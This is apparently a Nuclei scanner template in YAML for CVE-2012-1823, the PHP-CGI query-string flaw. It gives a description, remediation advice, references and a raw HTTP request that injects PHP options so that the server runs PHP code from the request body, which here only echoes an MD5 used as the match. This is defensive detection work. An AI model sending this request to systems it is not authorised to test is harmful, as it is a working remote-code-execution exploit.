50 lines
1.8 KiB
YAML
50 lines
1.8 KiB
YAML
id: CVE-2012-1823
|
|
|
|
info:
|
|
name: PHP CGI v5.3.12/5.4.2 Remote Code Execution
|
|
author: pikpikcu
|
|
severity: high
|
|
description: |
|
|
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
|
|
remediation: |
|
|
Upgrade to a patched version of PHP or apply the necessary security patches.
|
|
reference:
|
|
- https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2012-1823
|
|
- https://bugs.php.net/bug.php?id=61910
|
|
- http://www.php.net/ChangeLog-5.php#5.4.2
|
|
- http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03360041
|
|
classification:
|
|
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2012-1823
|
|
cwe-id: CWE-20
|
|
epss-score: 0.97491
|
|
epss-percentile: 0.99969
|
|
cpe: cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: php
|
|
product: php
|
|
tags: cve2012,kev,vulhub,rce,php,cve
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
<?php echo md5('CVE-2012-1823'); ?>
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "3d638155445bffb044eec401381ad784"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022077d4558fca2079cc981f49ee2501aaa9a9803e6b4236cb43a196ce83a986c972022100f0969c456e63cd95ecf211a6bae8b3f436bb423e38e360eac72c463e34fb9ad1:922c64590222798bb761d5b6d8e72950 |